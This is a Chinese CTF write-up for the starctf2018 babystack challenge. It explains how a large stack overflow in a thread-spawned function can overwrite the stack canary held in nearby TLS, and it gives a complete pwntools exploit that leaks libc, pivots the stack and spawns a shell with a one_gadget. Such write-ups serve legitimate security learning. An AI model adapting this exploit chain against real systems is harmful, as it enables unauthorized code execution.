BUU-starctf2018_babystack-WP
这道题是碰到知识盲区了
写在前面
这篇wp还不完善,之后再慢慢补全
漏洞点

非常明显的一个栈溢出,而且可以溢出非常多。当然,由于开了canary
,我就没思路了,毕竟确实没有得leak。不过呢这个函数是开了一个新的线程调用的,我当然是想到了和这个有关系的,于是就去查了一下条件竞争的利用,发现看不懂,而且好像也和这道题目没有什么关系。遂看wp。
利用方法
漏洞函数是由新线程调用这一点确实是有用的,好吧,具体的知识到现在我还没弄懂,现在还是先囫囵吞枣吧,简单的来说就是多线程下fs寄存器中的值会以tls的方法存在栈中(与当前栈帧不会离太远),由于我们可以溢出很多,所以把那里覆盖掉就改写了canary
了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
leave_addr = 0x400A9B
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
bss_addr = 0x602f00
sh = remote("node3.buuoj.cn",28773)
#sh = process("./bs")
elf = ELF("./bs")
libc = ELF("./libc-2.27.so")
payload = 'a' * 0x1010 + p64(bss_addr - 0x8)
payload += p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(elf.symbols["puts"])
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(elf.symbols["read"])
payload += p64(leave_addr)
payload = payload.ljust(0x2000,'a')
sh.sendlineafter("send?\n",str(0x2000))
sleep(0.5)
sh.send(payload)
sleep(0.5)
sh.recvuntil("say goodbye.\n")
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
base = puts_addr - libc.symbols["puts"]
print hex(base)
bin_sh = libc.search("/bin/sh").next() + base
system_addr = libc.symbols["system"] + base
magic = 0x4f322 + base
#payload = p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
payload = p64(magic)
sh.send(payload)
sh.interactive()
用one_gadget
的原因是system
出现了"timeout: the monitored command dumped core"
,尝试栈迁移到不同的位置无果,所以就干脆one_gadget
完事了